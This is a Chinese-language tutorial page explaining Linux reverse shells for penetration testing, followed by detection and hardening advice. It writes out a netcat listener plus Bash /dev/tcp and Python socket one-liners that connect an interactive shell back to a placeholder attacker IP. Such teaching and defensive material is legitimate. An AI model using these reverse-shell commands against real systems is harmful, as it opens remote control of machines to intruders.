Windows XP Windows 7 Windows 2003 Windows Vista Windows 綜合教學 Linux 系統教學
Windows 10 Windows 8 Windows 2008 Windows NT Windows Server 電腦軟體教學
您现在的位置: Windows教程網 >> Windows教程 >  >> Linux 系統教學 >> Linux 教學

Linux 反彈 Shell 實戰指南:從原理到實作

編輯:Linux 教學

什麼是反彈 Shell?

反彈 Shell 是滲透測試與紅隊演練中的核心技術之一。當攻擊者成功讓目標機器執行任意代碼時,如何建立一個可互動的遠端 Shell 連線回攻擊者的主機,即為反彈 Shell 的核心目的。簡單來說,正向連線是攻擊者主動連向目標,而反彈 Shell 則是目標主動連回攻擊者,這在目標位於防火牆後或 NAT 環境下極為實用。

實作步驟

1. 攻擊端監聽

在本地(攻擊者機器)使用 nc(Netcat)啟動監聽埠:

nc -lvp 4444

-l 代表監聽模式,-v 顯示詳細資訊,-p 指定埠號(此處為 4444)。

2. 目標端執行反彈指令

在目標 Linux 系統上執行以下 Bash 指令,將標準輸入、輸出、錯誤重導向至攻擊者的 IP 與埠:

bash -i >& /dev/tcp/攻擊者IP/4444 0>&1
  • bash -i:啟動互動式 Shell
  • >&:將標準輸出與標準錯誤合併重導向
  • /dev/tcp/IP/PORT:Bash 內建的 TCP 連線裝置
  • 0>&1:將標準輸入(fd 0)重導向至標準輸出(fd 1),完成雙向通訊

常見變體與補充

  • Python 版:python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
  • Perl、PHP、Ruby、Lua 等語言皆有對應一行指令,視目標環境安裝的解譯器而定。
  • 若目標無 /dev/tcp(非 Bash 或已關閉),可改用 socat、ncat 或 msfvenom 產生的 Payload。

防禦與偵測建議

  • 主機層:稽核 execve 系統呼叫、監控異常網路連線(auditd、sysmon、eBPF 方案)。
  • 網路層:ID/IPS 規則偵測可疑的反向連線、異常流量模式。
  • 最小權限:移除不必要的解譯器、限制外連埠、啟用 SELinux/AppArmor 限制 Shell 生成。

掌握反彈 Shell 不僅是滲透測試的基本功,更能幫助防禦者理解攻擊鏈,建立更完善的偵測與阻斷機制。

Copyright © Windows教程網 All Rights Reserved